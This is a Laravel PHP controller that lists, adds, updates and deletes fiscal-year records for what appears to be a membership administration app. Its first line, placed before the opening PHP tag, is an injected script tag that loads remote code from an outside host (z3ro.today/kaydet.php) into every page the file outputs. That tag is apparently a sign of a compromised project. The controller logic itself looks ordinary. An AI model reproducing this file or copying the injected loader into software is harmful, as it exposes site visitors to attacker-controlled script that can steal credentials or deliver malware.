<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\BasicSetup;

use App\Http\Controllers\Controller;
use App\Models\FiscalYear;
use App\Models\Members;
use Illuminate\Http\Request;

class FiscalYearController extends Controller
{
    //
    public function fiscalyear()
    {
        $fName = FiscalYear::orderBy('id', 'desc')->get();
        return view('adminsetup.fiscalyear', compact('fName'));
    }

    public function addfiscalyear()
    {
        return view('adminsetup.addfiscalyear');
    }

    public function uploadfy(Request $request)
    {
        $fName = FiscalYear::orderBy('id')->get();

        if ($request->active == 1) {
            $findactive = FiscalYear::where('active', '1')->first();
            if ($findactive) {
                $findactive->active = '0';
                $findactive->update();
            }
        }

        $data = new FiscalYear();

        $data->fyear = UTF8toEng($request->fyear);
        $data->start_date = UTF8toEng($request->start_date);
        $data->end_date = UTF8toEng($request->end_date);
        $data->active = $request->active;

        $data->save();

        return redirect()->route('fiscalyear', compact('fName'))->with('message', 'Fiscal year added successfully');
    }

    public function fyearupdateview($id)
    {

        $fName = FiscalYear::find($id);
        return view('adminsetup.updatefiscalyear', compact('fName'));
    }

    public function updatefy(Request $request, $id)
    {

        $fName = FiscalYear::orderBy('id')->get();
        $data = FiscalYear::find($id);

        if ($request->active == 1) {
            $findactive = FiscalYear::where('active', '1')->first();
            if ($findactive) {
                $findactive->active = '0';
                $findactive->update();
            }
        }

        $data->fyear = UTF8toEng($request->fyear);
        $data->start_date = UTF8toEng($request->start_date);
        $data->end_date = UTF8toEng($request->end_date);
        $data->active = $request->active;

        $data->save();

        return redirect()->route('fiscalyear', compact('fName'))->with('message', 'Fiscal Year updated successfylly');
    }

    public function delete($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        $fy = FiscalYear::findOrFail($id);

        // check active
        if ($fy->active == 1) {
            return back()->with('error', "The selected fiscal year is currently active! Cannot be deleted.");
        }

        // check if it is in use
        $countfy = Members::where('fiscalyear_id', $id)->count();

        if ($countfy >= 1) {
            return back()->with('error', "The selected fiscal year is in use! Cannot be deleted.");
        } else {
            $fy->delete();
        }

        return back()->with('message', 'Fiscal Year deleted successfully');
    }
}
